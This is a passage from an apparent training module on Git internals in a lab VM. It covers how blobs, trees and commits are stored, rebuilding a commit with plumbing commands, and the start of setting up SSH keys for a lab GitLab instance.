each with an identifying 40-character SHA-1 hash. Although the hash is
the ID of the object, Git also includes refs (references) that map
a human readable string to the SHA-1 hash object. The committed state
interacts with a database of these objects.
There are several types of objects. Let's discuss a few of them.
A blob (binary large object) is generally the raw data of a
file.[742] A tree is similar to a directory, referencing
other trees and blobs. A commit object references trees and parent
commits. It also holds metadata about each update in the repository.
It includes information about the author, who committed the last
change, log messages, etc. The tag object includes human-readable
metadata about other objects, most often commit objects.
Now that we have a general understanding of Git internals, let's move
to the next section. There, we will expand on concepts covered here
but in a more technical manner.
Git Good: Working with Local and Remote Repositories
This Learning Unit covers the following Learning Objectives:
- Getting started with Git and using help
- Interacting with Git objects
- Learning to push, pull, and perform similar actions
In this Learning Unit, we will apply some of the concepts discussed
in the previous Learning Unit. We'll get a better understanding of
Git objects and how to interact with them. Additionally, we will get
hands-on with some of the basic commands.
Although you can complete this module without following along, it's
highly encouraged to do so to get the most out of this Learning Unit.
By typing the commands as we discuss them, you can get a better grasp
of the concepts.
To follow along, please turn on the associated VM and use the
credentials provided to SSH in to the machine.
You can follow along on your own machine, if you wish. However, keep
in mind that some commands will require the lab environment.
Git is already installed on the lab VM and no further action is
required to use it. However, if you are using your own machine, Git
can be installed using various package management tools or from the
source. Following Git documentation[743] for the specific
OS is the recommended way to ensure you have the most up to date
version of Git.
Once logged in, let's change to the user's home directory and
verify we are there.
hacker@git:~$ cd /home/hacker/
hacker@git:~$ pwd
/home/hacker
Listing 1 - CD to user home directory
Next, let's make a folder named walkthrough inside the user's
directory. This is the folder that we are going to use as the local
repository.
hacker@git:~$ mkdir walkthrough
hacker@git:~$ ls
walkthrough
Listing 2 - Create walkthrough directory
We will then change to walkthrough and check the Git version with
git --version. Verifying the version can be helpful for numerous
reasons. For example, some commands are only available in certain
versions.
hacker@git:~$ cd walkthrough/
hacker@git:~/walkthrough$ git --version
git version 2.34.1
Listing 3 - Check Git version
We confirmed that Git is installed and we can view the current
version.
One of the most useful commands to learn is the help command. There
are various ways to properly use this command, but one way is git
help.[744]
hacker@git:~/walkthrough$ git help
usage: git
...
start a working area
...
work on the current change
...
examine the history and state
...
'git help -a' and 'git help -g' list available subcommands and some concept guides. See 'git help <command>' or 'git help <concept>' to read about a specific subcommand or concept.
See 'git help git' for an overview of the system.
Listing 4 - Using the help command
The results shows us that we can use git with various subcommands.
Additionally, we can use git help <subcommand> to get more
information about the subcommand.
Let's use this command to review the git command itself by using
git help git.
hacker@git:~/walkthrough$ git help git
NAME
git - the stupid content tracker
SYNOPSIS
...
DESCRIPTION
...
OPTIONS
...
GIT COMMANDS
...
HIGH-LEVEL COMMANDS (PORCELAIN)
...
LOW-LEVEL COMMANDS (PLUMBING)
...
GUIDES
...
CONFIGURATION MECHANISM
...
IDENTIFIER TERMINOLOGY
...
SYMBOLIC TERMINOLOGY
...
FILE/DIRECTORY STRUCTURE
...
Listing 5 - Using the help command on the git command
By running this command, we have access to a plethora of information.
The manual page is split into different sections. At the beginning,
we have a summary about the command and the options that can be
used. Following that, we have detailed information about the options
available with the command. As we continue, the Git commands are split
into high-level commands, or porcelain, and low-level commands, or
plumbing. On one hand, porcelain commands generally refer to more
user-friendly commands we use on a daily basis. On the other hand,
plumbing commands can be used to manipulate more abstract parts of
Git. While this does provide more flexibility, these commands usually
require a deeper understanding of Git internals to avoid breaking
certain functionality.
As we move through the module, we'll begin with a few low-level
commands to better understand Git internals. However, for the majority
of the module, we'll focus on high-level commands.
The terminology section can also be helpful, as it covers many of the
terms you'll see throughout this training.
Let's use help to examine the git init command.
hacker@git:~/walkthrough$ git help init
Git Manual
GIT-INIT(1)
NAME
git-init - Create an empty Git repository or reinitialize an existing one
...
EXAMPLES
Start a new Git repository for an existing code base
$ cd /path/to/my/codebase
$ git init (1)
...
Listing 6 - Using the help function to view more information about the init command
The description informs us that the init command creates a .git
directory in the location we run it in. We are already in the correct
directory (walkthrough) so let's use this command to create a
local Git repository.
hacker@git:~/walkthrough$ git init
...
Initialized empty Git repository in /home/hacker/walkthrough/.git
Listing 7 - Running the init command
Now that have created a local Git repository within the
walkthrough directory, we can examine Git objects first hand.
Now that we have a local Git repository, let's analyze the hidden
.git directory that was automatically created.
hacker@git:~/walkthrough$ cd .git
hacker@git:~/walkthrough/.git$ ls -l
drwxrwxr-x 7 hacker hacker 4096 Jan 01 00:00 .
drwxrwxr-x 3 hacker hacker 4096 Jan 01 00:00 ..
-rw-rw-r-- 1 hacker hacker 23 Jan 01 00:00 HEAD
drwxrwxr-x 2 hacker hacker 4096 Jan 01 00:00 branches
-rw-rw-r-- 1 hacker hacker 92 Jan 01 00:00 config
-rw-rw-r-- 1 hacker hacker 73 Jan 01 00:00 description
drwxrwxr-x 2 hacker hacker 4096 Jan 01 00:00 hooks
drwxrwxr-x 2 hacker hacker 4096 Jan 01 00:00 info
drwxrwxr-x 4 hacker hacker 4096 Jan 01 00:00 objects
drwxrwxr-x 4 hacker hacker 4096 Jan 01 00:00 refs
Listing 8 - exploring .git directory
The contents in the .git directory may vary depending on the Git
version. Some of it may look familiar based on our earlier description
of Git's technical characteristics. We won't get into detail about
everything in here, but let's discuss some of the highlights.
First is the HEAD file. When we're working with Git, we can create
multiple branches, or lines of developments. The last commit of each
branch is referred to as the head. Because we can actively work within
one branch at a time, Git refers to the last commit of the active
branch as the HEAD. This file contains a hash, also known as the
ref or reference, to the last commit of the current branch that we are
working on. For example, if we have three branches, we will have three
heads and one HEAD reference. One of the head references will be the
same hash as the HEAD reference, signifying that the hash represents
the commit of the active branch.
The objects folder contains the objects we discussed earlier, like
commits, trees, blobs, tags, etc. We will reference the contents of
this folder throughout this module.
The refs folder contains a list of references.
Some files and folders are created after a specific action is taken.
for example, the index file doesn't exist yet. The reason behind
this is because we have not staged any data. If we recall from
earlier, during the staged state, Git uses a mutable index to mark
files and/or folders that need to be moved to the committed state.
Once we stage data for the first time, this file will be created. As
data goes from one state to the next, we will explore this file more.
The config file contains Git configuration settings that we
can edit, like client settings, terminal color, formatting, server
settings, and more. Let's take a moment to configure some basic user
settings.
Let's start off by displaying the contents of the config file.
hacker@git:~/walkthrough/.git$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
Listing 9 - Display config file contents
Currently, we have some default variables assigned. Let's define
the user.email and user.name variables. We will use the git
config[745] command with the (default) --local
option, which applies the user settings to the specific local
repository.
hacker@git:~/walkthrough/.git$ git config --local user.email "hacker@git.com"
hacker@git:~/walkthrough/.git$ git config --local user.name "Leet Hacker"
Listing 10 - Add user settings to local config file
We can confirm the changes either by reading the config file or by
using the --list option with git config.
hacker@git:~/walkthrough/.git$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
email = hacker@git.com
name = Leet Hacker
hacker@git:~/walkthrough/.git$ git config --list
core.repositoryformatversion=0
core.filemode=true
core.bare=false
core.logallrefupdates=true
user.email=hacker@git.com
user.name=Leet Hacker
Listing 11 - Confirm user config settings
Perfect! We have added our user settings to the configuration file,
and we can continue with exploring Git.
Configuration variables can be defined at different scopes, like
local, global, or system. The --global option applies settings
for all the repositories under a certain user. The --system
option applies to all users on the machine. Git will search for
defined variables at various scopes, and in a specific order.
The rest of the files and folders are a little more advanced, so
we will not discuss them within this module. The Git documentation
provides a synopsis.[746]
For the next portion of the lesson, we need two terminals open at the
same time. We'll connect to the VM with SSH in the second terminal as
well.
There are other ways to achieve two screens, like tmux,
screen, etc. Feel free to use those methods if you prefer.
The screenshot below outlines an example of our two terminals.
The right terminal will be our working screen, where we'll actively
type commands. The left terminal will display the folders and files
within the .git directory. This becomes important because as we
create files and folders and move the data from one state to another,
Git will create the objects, like commit, tree, blob, etc.
In this example, we want to display all the files and folders,
excluding hooks and info directories inside the .git
directory. We also want them displayed in a hierarchy and then sorted
alphabetically.
In the left terminal, let's run the watch[747] command.
This command will run a second command at specific intervals and
output the results to our terminal.
We will use the -n for interval to signify how often to run the
second command. For this walkthrough, we will run it every second.
The -d option highlights the differences between the previous and
the current output. The second command we will run is the find
command. The find command will find and display files and/or
folders based on certain criteria. The full find command will be,
find . -! -path './hooks/*' -! -path './info/*' | sort.
First, let's ensure that we're inside the .git directory. Then,
run the watch command:
hacker@git:~/walkthrough/.git$ pwd
/home/hacker/walkthrough/.git
hacker@git:~/walkthrough/.git$ watch -n 1 -d "find . -! -path './hooks/*' -! -path './info/*' | sort"
Listing 12 - Run the watch command in a terminal
The program runs the find command every second and displays the
results, highlighting any differences. This is the first output,
so there are no differences to highlight. Our left terminal should
display the files and folders within the .git directory that meets
our criteria.
Next, we'll switch to our right terminal window where we will be
creating files and folders, as well as interacting with Git objects.
First, let's make sure we are located inside the walkthrough
directory. Then, we need to create a directory named
Favorite_Comic_Characters.
hacker@git:~/walkthrough$ pwd
/home/hacker/walkthrough
hacker@git:~/walkthrough$ mkdir Favorite_Comic_Characters
Listing 13 - Create a new directory inside walkthrough directory
As previously mentioned, the data we create at this moment exists in
the modified state, or the working directory or working tree, not to
be confused with the tree object. In this state, Git is not officially
tracking any files or folders or changes that we make.
One of the commands we can use to verify this is git
status,[748] which displays the working tree.
hacker@git:~/walkthrough$ git status
On branch master
No commits yet
nothing to commit (create/copy files and use "git add" to track)
Listing 14 - Run the git status command
First, this command shows us that we are working within the master
branch. More on this later. Second, we know that no commits have been
submitted. Finally, Git informs us that no files have been modified
or added inside the repository. This command reveals different
information depending on the situation. This will become clearer as we
examine different examples throughout the module.
Let's create an empty file inside the newly-created folder and run the
git status command again.
hacker@git:~/walkthrough$ touch Favorite_Comic_Characters/SuperheroList.txt
hacker@git:~/walkthrough$ git status
On branch master
No commits yet
Untracked files:
(use "git add <file>..." to include in what will be commited)
Favorite_Comic_Characters
nothing added to commit but untracked files presetn (use "git add" to track)
Listing 15 - Create file and check git status
This time, Git informs us that a file located within the
Favorite_Comic_Characters folder is untracked. Although Git
isn't officially tracking the file in terms of an object and the
contents, it knows that a file was added/changed. Let's go ahead and
move the file from the modified state to the staged state using git
add.[749] Carefully observe the watch terminal when you
enter the command in the working terminal.
hacker@git:~/walkthrough$ git add Favorite_Comic_Characters/SuperheroList.txt
hacker@git:~/walkthrough$ git status
On branch master
No commits yet
Changes to be committed:
(use "git rm --cached <file>..." to unstage)
new file: Favorite_Comic_Characters/SuperheroList.txt
Listing 16 - Create file and check git status
First, the output of git status informs us that Git recognizes
changes within a new file is staged and ready to be committed.
Second, we should have also noticed a brief highlighting of impacted
or new folders/files in the watch terminal. More importantly, the
output should now include two new folders and one new file.
Because the interval is every second, the highlighting only appears
for a second. To have the highlighting stay longer, we can increase
the interval time to something like 10 seconds.
Let's examine the new contents.
First, let's list the contents of the .git and .git/objects
directories to verify what the watch command terminal is displaying.
hacker@git:~/walkthrough$ ls -la .git/
total 44
drwxrwxr-x 7 hacker hacker 4096 Jan 01 00:00 .
drwxrwxr-x 4 hacker hacker 4096 Jan 01 00:00 ..
-rw-rw-r-- 1 hacker hacker 23 Jan 01 00:00 HEAD
drwxrwxr-x 2 hacker hacker 4096 Jan 01 00:00 branches
-rw-rw-r-- 1 hacker hacker 143 Jan 01 00:00 config
-rw-rw-r-- 1 hacker hacker 73 Jan 01 00:00 description
drwxrwxr-x 2 hacker hacker 4096 Jan 01 00:00 hooks
-rw-rw-r-- 1 hacker hacker 144 Jan 01 00:00 index
drwxrwxr-x 2 hacker hacker 4096 Jan 01 00:00 info
drwxrwxr-x 5 hacker hacker 4096 Jan 01 00:00 objects
drwxrwxr-x 4 hacker hacker 4096 Jan 01 00:00 refs
hacker@git:~/walkthrough$ ls -la .git/objects/
total 20
drwxrwxr-x 5 hacker hacker 4096 Jan 01 00:00 .
drwxrwxr-x 7 hacker hacker 4096 Jan 01 00:00 ..
drwxrwxr-x 2 hacker hacker 4096 Jan 01 00:00 e6
drwxrwxr-x 2 hacker hacker 4096 Jan 01 00:00 info
drwxrwxr-x 2 hacker hacker 4096 Jan 01 00:00 pack
hacker@git:~/walkthrough$ ls -la .git/objects/e6/
total 12
drwxrwxr-x 2 hacker hacker 4096 Jan 01 00:00 .
drwxrwxr-x 5 hacker hacker 4096 Jan 01 00:00 ..
-r--r--r-- 1 hacker hacker 15 Jan 01 00:00 9de29bb2d1d6434b8b29ae775ad8c2e48c5391
Listing 17 - Display contents of the .git and /objects/ directories
Now, we can analyze the index file.
hacker@git:~/walkthrough$ file .git/index
.git/index: Git index, version 2, 1 entries
Listing 18 - Display file type of index
This is a Git version 2 index file, and it contains one entry. Let's
try to display the contents.
hacker@git:~/walkthrough$ cat .git/index
Listing 19 - Display contents of index
Initially, the output is mostly unreadable. This is because it is
a binary file and we can only read some of it with the cat command.
The Git index binary file contains information about what is in
the staged state. It's broken down into a header, sorted entries, and
more. Having an in-depth understanding of this file is outside the
scope of this module, but Git documentation discusses this in a lot of
detail.[741-1]
Let's examine the new object inside the objects folder. First of
all, let's point out the way Git organizes the objects. As previously
mentioned, objects are identified by a 40 character SHA-1 hash.
To help with organization and efficiency, Git uses the first two
characters to name the folder. In this instance "e6" is a directory,
but it's also the first two characters of the object itself. Inside
that folder is where the actual object is located and the file name of
the object is the rest of the 38 characters.
Next, let's interact with the object. Git provides a low-level
command, cat-file,[750] that allows us to examine Git
objects. Let's use this command with two different options, -t for
type of file, and -p for printing the file contents in a "pretty"
format. We will also need to reference the object using the hash.
Instead of providing all 40 characters, we can provide the first six
and Git can fill in the rest.
hacker@git:~/walkthrough$ git cat-file -t e69de2
blob
hacker@git:~/walkthrough$ git cat-file -p e69de2
hacker@git:~/walkthrough$
Listing 20 - Display contents of the e69de2 object
The object is a blob type. When we tried to display the contents, it's
empty. This is because SuperheroList.txt is empty and does not
contain any data.
Let's add some text to the file. Then, run git status again.
hacker@git:~/walkthrough$ echo "Quicksilver" > Favorite_Comic_Characters/SuperheroList.txt
hacker@git:~/walkthrough$ git status
On branch master
No commits yet
Changes to be committed:
(use "git rm --cached <file>..." to unstage)
new file: Favorite_Comic_Characters/SuperheroList.txt
Changes not staged for commit:
(use "git add <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
modified: Favorite_Comic_Characters/SuperheroList.txt
Listing 21 - Add contents to the SuperheroList.txt
The status command shows us that a new file is ready to be committed,
and that a file was modified and the changes are not staged for
commit. In other words, some data exists in the working state, while
other data exists in the staged state. Our changes that include an
empty file is located in the staged state, while our changes that
include the newly added text to our file is located in our modified
state. Soon, we'll move the working state changes to our staged state.
Then, we will move the all of staged state changes into the committed
state.
For now, let's move the changes we made from the working state to the
staged state. Again, pay close attention to the watch terminal.
hacker@git:~/walkthrough$ git add Favorite_Comic_Characters/SuperheroList.txt
hacker@git:~/walkthrough$
Listing 22 - Run git add to move recent changes to staged state
A new object, 6c9241, was added to the objects directory.
Let's use the cat-file command to examine the newly created
object.
hacker@git:~/walkthrough$ git cat-file -t 6c9241
blob
hacker@git:~/walkthrough$ git cat-file -p 6c9241
Quicksilver
Listing 23 - Examine the 6c9241 object
This second object is also a blob object and it contains the contents
of the file that we recently added. This brings about an interesting
question. Why does the first object, with the empty file, still
exist? One would think that it would be replaced with the most recent
version. This is because Git maintains a history of the changes, and
therefore those objects. And because these objects are essentially
pointers to the changes, not the whole file, Git is able to maintain
and manage these objects quickly and effectively. This is true even
for larger projects with thousands of files and changes.
Next, let's create a commit object. To generate the hash for a commit
object, Git uses various pieces of data like time stamps. Because of
this, our commit hashes will always differ when compared to the ones
displayed in the module. Although the concepts remain the same, we
should expect the hashes of commit objects to be different.
Let's use git commit[751] to move the data from the
staging state to the commit state. We will use the -m option to
provide a message for our commit. Again, we will need to pay close
attention to the watch terminal when we enter this command. We should
expect more files to be created.
hacker@git:~/walkthrough$ git commit -m "Committed the first file"
[master (root-commit) 25b7efd ] Committed the first file
1 file changed, 1 insertion(+)
create mode 100644 Favorite_Comic_Characters/SuperheroList.txt
Listing 23 - Examine the 6c9241 object
Let's examine the output. We are shown that a new object, 25b7efd,
was created, and it had one file that was changed. One insertion means
that one line was added or modified. The digits 100644 refers to
the mode or type of file. In this case it is a regular non-executable
file. Understanding the different modes is not required for this
module.
From a developer workflow and business perspective, having a
detailed message is very important. A helpful message summarizing
what changed and why can help the rest of the team quickly
identify what commits we made. Additionally, if we need to go
back to a commit or review previous commits, it's much easier
to identify a commit by a message, as opposed to a 40 character
SHA-1 hash. Concepts like history and reverts are out of scope.
For now, keep in mind that providing a message for the commit is
highly recommended. And while there isn't a set standard, there
are many resources online that provide different examples of best
practices.[752]
Let's also run the git status command.
hacker@git:~/walkthrough$ git status
On branch master
nothing to commit, working tree clean
Listing 24 - Running git status after committing changes
Great! Our working tree is clean, meaning we don't have anything new
to add to staging or to commit.
Now, let's review the watch terminal changes:
Although a logs folder was created, we will instead direct
our attention to the three new objects that were added inside the
objects folder. Let's start with the commit object.
hacker@git:~/walkthrough$ git cat-file -t 25b7ef
commit
hacker@git:~/walkthrough$ git cat-file -p 25b7ef
tree 1e4849e10d2fc5a99b3cc31996184d5e86e1b3dc
author Leet Hacker <hacker@git.com> 1659103816 +0000
committer Leet Hacker <hacker@git.com> 1659103816 +0000
Committed the first file
Listing 25 - Review the 25b7ef object
We confirmed it is a commit object and contains a pointer to a tree
object and some metadata, like the user data and the commit message.
Let's follow this and examine the tree object that the commit object
points to.
hacker@git:~/walkthrough$ git cat-file -t 1e4849
tree
hacker@git:~/walkthrough$ git cat-file -p 1e4849
040000 tree 620ca644f6811fd9e4c06adad289d9b8be01e339 Favorite_Comic_Characters
Listing 26 - Review the 1e4849 object
In turn, this tree object points to another tree object, named
Favorite_Comic_Characters, which is our directory. Let's continue
to follow this method until we get to the bottom of this hierarchy
structure.
hacker@git:~/walkthrough$ git cat-file -t 620ca6
tree
hacker@git:~/walkthrough$ git cat-file -p 620ca6
100644 blob 6c92415bb0a2440e8902ffd888d9937711783a62 SuperheroList.txt
hacker@git:~/walkthrough$ git cat-file -t 6c9241
blob
hacker@git:~/walkthrough$ git cat-file -p 6c9241
Quicksilver
Listing 27 - Continue to review objects
We can follow this logic from the commit object down to the
blob object. Essentially, this is how Git efficiently organizes
information. Again, the reason objects like e69de2 continue to
exist in the database is because of Git's version control system.
Changes are tracked, even if files are overwritten or removed, which
allows us to do things like review history or even undo changes.
Let's make another change. To reiterate, even though Git is tracking
the file, we still need to add changes made in the modified state to
our staged state. So, let's also add the changes to our staged state
and commit it.
hacker@git:~/walkthrough$ echo "Aquaman" >> Favorite_Comic_Characters/SuperheroList.txt
hacker@git:~/walkthrough$ git add Favorite_Comic_Characters/SuperheroList.txt
hacker@git:~/walkthrough$ git commit -m "added another character"
[master 0d53fa6 ] added another character
1 file changed, 1 insertion(+)
Listing 28 - Commit another change
Let's review the newly created commit object.
hacker@git:~/walkthrough$ git cat-file -t 0d53fa6
commit
hacker@git:~/walkthrough$ git cat-file -p 0d53fa6
tree bb07647544e3da2229bfa08fb297c3dc837c27e3
parent 25b7efd04937718c2d01493ef916eaae44373bd2
author Leet Hacker <hacker@git.com> 1660318847 +0000
committer Leet Hacker <hacker@git.com> 1660318847 +0000
added another character
Listing 29 - Review commit object 0d53fa6
We confirmed that it is a commit object. But wait, what is this parent
hash? This is a pointer that references this commit object's "parent".
The hash should seem familiar since it is the previous commit object.
This is the idea behind a development line. As we continue to work
and develop, and commit changes, Git will continue to track changes
and their historical "line". This idea will become more evident as we
learn more about Git and branches.
The last aspect we will review in this section is a low-level
perspective of how Git creates these objects and the fact that it
isn't just magic. Let's try to manually re-create what Git is doing
behind the scenes as a way to better understand what's happening.
Before we continue, we need to discuss two caveats. First, leave the
watch terminal open and running. We will refer to the hashes that
currently exist. Second, if you mess anything up, you will have to
delete objects, or even remove the .git directory altogether to
start the process over. With that said, please ensure instructions are
followed carefully.
Let's start by changing directories back to the user's home directory.
Then, we will create a new directory, initialize Git, and add the user
settings.
hacker@git:~/walkthrough$ cd ..
hacker@git:~$ mkdir plumbing
hacker@git:~$ cd plumbing/
hacker@git:~/plumbing$ git init
...
Initialized empty Git repository in /home/hacker/plumbing/.git/
hacker@git:~/plumbing$ git config --local user.email "hacker@git.com"
hacker@git:~/plumbing$ git config --local user.name "Leet Hacker"
Listing 30 - Set up Git repo
Next, we will use the git hash-object[753] command to
create a blob using standard input[754] (stdin). Basically,
this takes our data as input, computes the hash, and produces the hash
ID. We will also use the -w option to write the object into the
database.
hacker@git:~/plumbing$ echo "Quicksilver" | git hash-object -w --stdin
6c92415bb0a2440e8902ffd888d9937711783a62
Listing 31 - Manually create the blob object
Compare this hash to the previous blob hash
(6c92415bb0a2440e8902ffd888d9937711783a62) in the walkthrough repo.
They are identical. We were able to replicate what Git does by
creating the blob object using Git's low-level command. With this
in mind, let's continue creating the two tree objects and the commit
object.
We will use the git update-index[755] command
to update the index file. The --add option informs Git
that we want to update it by adding an entry to the index. The
--cacheinfo option allows us to provide the mode, the object
(in hash format), and the path for the file that is being added to
the index. Then, we will use git write-tree[756] to
generate the tree object from the index that we just updated.
hacker@git:~/plumbing$ git update-index --add --cacheinfo 100644 6c92415bb0a2440e8902ffd888d9937711783a62 SuperheroList.txt
hacker@git:~/plumbing$ git write-tree
620ca644f6811fd9e4c06adad289d9b8be01e339
Listing 32 - Manually create the tree object
Once again, the produced hash is identical to the tree object from our
previous repository (620ca644f6811fd9e4c06adad289d9b8be01e339).
Let's create the second tree. However, this time we will use a
tree format item to create another tree. The format for the data is
<object mode> <object type> <object hash> <path>. We have to
echo the data and pipe it into git mktree,[757] which uses
a tree object to create another tree object. This is generally the
case when we have files and folders within another folder.
hacker@git:~/plumbing$ echo -e "040000 tree 620ca644f6811fd9e4c06adad289d9b8be01e339\tFavorite_Comic_Characters" | git mktree
1e4849e10d2fc5a99b3cc31996184d5e86e1b3dc
Listing 33 - Manually create the second tree object
Yet again, the generated hash is identical.
Next, let's create the commit object. The git
commit-tree[758] command uses the tree object to create
a commit object. The git update-ref[759] command
updates the reference list with the object, so the head of the branch
points at the correct object. More on branches later.
Let's echo our commit message and pipe it to the git
commit-tree command. Then, use the hash of the newly created commit
object to update the HEAD of the master branch.
hacker@git:~/plumbing$ echo "Committed the first file" | git commit-tree 1e4849e10d2fc5a99b3cc31996184d5e86e1b3dc
216aaa8aa5c0dd38f479e9f12b38d19ee06c32a2
hacker@git:~/plumbing$ git update-ref refs/heads/master 216aaa8aa5c0dd38f479e9f12b38d19ee06c32a2
Listing 34 - Manually create the commit object
As expected, the commit object hash value doesn't match the commit
object hash value from the previous repository. The hash value for
commit objects uses specific metadata when it's generated. Let's
further analyze both of the commit objects to better understand this
concept.
hacker@git:~/plumbing$ git cat-file -p 216aaa
tree 1e4849e10d2fc5a99b3cc31996184d5e86e1b3dc
author Leet Hacker <hacker@git.com> 1659125209 +0000
committer Leet Hacker <hacker@git.com> 1659125209 +0000
Committed the first file
hacker@git:~/plumbing$ cd ../walkthrough/
hacker@git:~/walkthrough$ git cat-file -p 25b7ef
tree 1e4849e10d2fc5a99b3cc31996184d5e86e1b3dc
author Leet Hacker <hacker@git.com> 1659103816 +0000
committer Leet Hacker <hacker@git.com> 1659103816 +0000
Committed the first file
Listing 35 - Comparing the commit objects
Because some of the metadata is different, the hash is also different.
We were able to create the "same" commit object, but due to other
factors, like the time stamp difference, the hash value is different.
As we move forward in this module and refer to commits, please keep in
mind that the commit hashes will differ, but the idea explained is the
same.
Let's return to the plumbing repository and run a few more
commands before we finish this section. First, let's check what files
and folders exist in this repository.
hacker@git:~/walkthrough$ cd ../plumbing/
hacker@git:~/plumbing$ ls
hacker@git:~/plumbing$
Listing 36 - Review files and folders within the repository
Although we created the objects inside the Git database, the actual
directory and files do not exist. That is why when we run the ls
command, we don't get what we expected.
Next, let's check the status of the repository with git status.
hacker@git:~/plumbing$ git status
On branch master
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
renamed: Favorite_Comic_Characters/SuperheroList.txt -> SuperheroList.txt
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: SuperheroList.txt
Listing 37 - Review the status
The results show that changes were made that need to be staged and
committed. However, the changes are not what we expect. For example,
Git informs us that SuperheroList.txt was deleted. We never did
that, but Git compares the current data to what we inserted in the
database. According to Git's database, a file existed and now it is
no longer present. This is because we never created the file. We only
created the object within Git's database.
Let's also review the commit history. We will use the git log
command with the --stat option, which displays the commit logs or
commit history and information about each commit.
hacker@git:~/plumbing$ git log --stat
commit 216aaa8aa5c0dd38f479e9f12b38d19ee06c32a2 (HEAD -> master)
Author: Leet Hacker <hacker@git.com>
Date: Fri Jul 29 20:06:49 2022 +0000
Committed the first file
Favorite_Comic_Characters/SuperheroList.txt | 1 +
1 file changed, 1 insertion(+)
Listing 38 - Review the commit log
According to Git's log, we definitely committed data with some
changes. Once again, this is because we used low-level commands to
manipulate Git's database.
This exact scenario isn't likely to occur in the real world, but
it does bring about a peculiar situation. Git is able to have its
database altered independently of files being created or changed,
which is pretty interesting.
Lastly, Git also shows us the HEAD, which is a ref or pointer, that
points to the last commit in our working branch. Our current working
branch is master. We can find this out by reading .git/HEAD.
hacker@git:~/plumbing$ cat .git/HEAD
ref: refs/heads/master
Listing 39 - HEAD file
Based on the output above, HEAD for the master branch points to
commit 216aaa. We can also find this information out another way.
hacker@git:~/plumbing$ cat .git/refs/heads/master
216aaa8aa5c0dd38f479e9f12b38d19ee06c32a2
Listing 40 - heads file
The /heads/ directory inside /refs/ contains files that point
branches to commits. In other words, if we had multiple branches,
there would be different heads with commit IDs of the last commit in
each branch.
At this point, we can close out the terminal running our watch
command. We no longer need it.
In the previous section, we created our own instance of a local
repository and we showed how Git tracks the changes. In this section,
we will introduce working with remote repositories, also known as
remotes.
A remote repository works similarly to a local repository, except
that it is hosted on a server, which is usually on a separate machine.
To access the information, we need to copy the data from the remote
repository to our local repository. Git refers to this copying as
cloning the repository. Then, we can interact with the data as
needed. Once we are done, we can copy the changes back to the remote
repository to update it. This workflow is very similar in a software
development team, among others.
Each developer can clone the remote repository to their local
machine. As they work locally, the changes get tracked in their local
repository. Once they are done working, they push the changes from
their local system back to the remote repository.
Before we jump into cloning, let's set up our user account
settings. For this example, we will use a self-hosted GitLab
instance. GitLab[760] is software that allows us to create
web-based Git repositories. More specifically, it is one of the
widely used DevOps[761] platforms, alongside others like
BitBucket[762] and GitHub.[763] Expanding on
aspects like DevOps, DevOps platforms, and GitLab features is out of
scope. We will briefly mention some ways to use GitLab as a way to
explain Git concepts, but we will will not comprehensively discuss it.
First, let's create a pair of SSH keys. We will need to start in the
hacker's home directory. Then, we will create the SSH keys using
the ssh-keygen command, with the -t option for type of key,
and -b for the number of bits. For our case, we will create RSA
keys with 4096 bits. Deep-diving cryptographic terms is out of scope
but for now, keep in mind that we are creating a pair of files, or
keys, that will authenticate our client to the server if the keys
match. You can find additional cryptographic training in the library.
When we are prompted to enter the file location for the
key, we will press I to accept the default value of
/home/hacker/.ssh/id_rsa. We will also enter the passphrase
"hacker1!" to help secure our private key.
hacker@git:~$ pwd
/home/hacker
hacker@git:~$ ssh-keygen -t rsa -b 4096
Generating public/private rsa key pair.
Enter file in which to save the key (/home/hacker/.ssh/id_rsa):
Created directory '/home/hacker/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/hacker/.ssh/id_rsa
Your public key has been saved in /home/hacker/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:Pi8SS4J0KSvKMab9nj12RFVJpQ8BYFAyDEThPc86b8s hacker@git
The key's randomart image is:
+---[RSA 4096]----+
| o=++o+..++o. |
| . ..+ . .o |
| ..o . o |
| o o +. o |
| . = .S . |
|.+o . oo. |
|=oo oo+o |
|o.. o=++o |
| o+..=Eo. |
+----[SHA256]-----+
Listing 41 - Generate SSH key pair
Let's confirm that our keys were created.
hacker@git:~$ cd .ssh/
hacker@git:~/.ssh$ ls
id_rsa id_rsa.pub
hacker@git:~/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
Jkvg==
-----END OPENSSH PRIVATE KEY-----
hacker@git:~/.ssh$ cat id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqtAsDPMv01truVbUUhRZ/6VPJdirpKlbzfnoMpCkY1AnDz2hBg/nhnDgBF7kC17J1vstJk1AMUHpMtViLWrxH/NLmgJ6NE+pyXdJxMAJt5Yf1m2dwPFytyjoHmH2jxi3CBaawfMzEOFo5okXiv1NfxC/+W0+wSm7VDdEC4++83hosgBNvTke3vyMPGIJIAqObLtxtsasUxfObgcvPcuu9B0QvgBQud3qLpMunjM/AZO/6mlqm5bikNHiztyKH6llzRWjCCIcpdurUj1Keq4F/gOwKdHg/mGg0QT/D00F1bXzpcJ32eD6fBUo5mV1Iar/XhDB2/UxsG5xNkmKPD8OPOk5FlkiNc0u8xVXOF+Ue3iLwQwPuiap/jaTAFaPJeCuTCri5Iwi3lLIf5n5xJJWi9M03ZjE5Pj1i/EknwuCpVYrV4yVWZr2OniPGd+kQb4tS19XRx3Ih+URBmwh+5g7D7CoLGf32O3qylOipd9ccT0cGw7MqaLm/OGKw3vKsCH3qvC/bdSUFCMkeBGo04euaA9zPqj4RVxT07rmLV3YnDXPz9BajdkVh+ZIiDgPVNkWKALF5VEp1xkRqeF9LK2Lmx59OoPphRj+Ur23E1YlUrqCA5hXS7aCfnSeI180dnPWWbAG0QEHaabRV7TPcsgNU8PgPdh1BHRuuHLEZ0mZlUQ== hacker@git
Listing 42 - Confirm SSH keys
Perfect. Two keys were created, a private key and a public key. The
private key is truncated in the listing above and isn't displayed,
because we don't need to read it. The public key is displayed, because
we will use this key soon.
Now, let's open up a browser and browse to port 8080 on our exercise
VM.
GitLab is hosted on this instance. We can log in to our account using
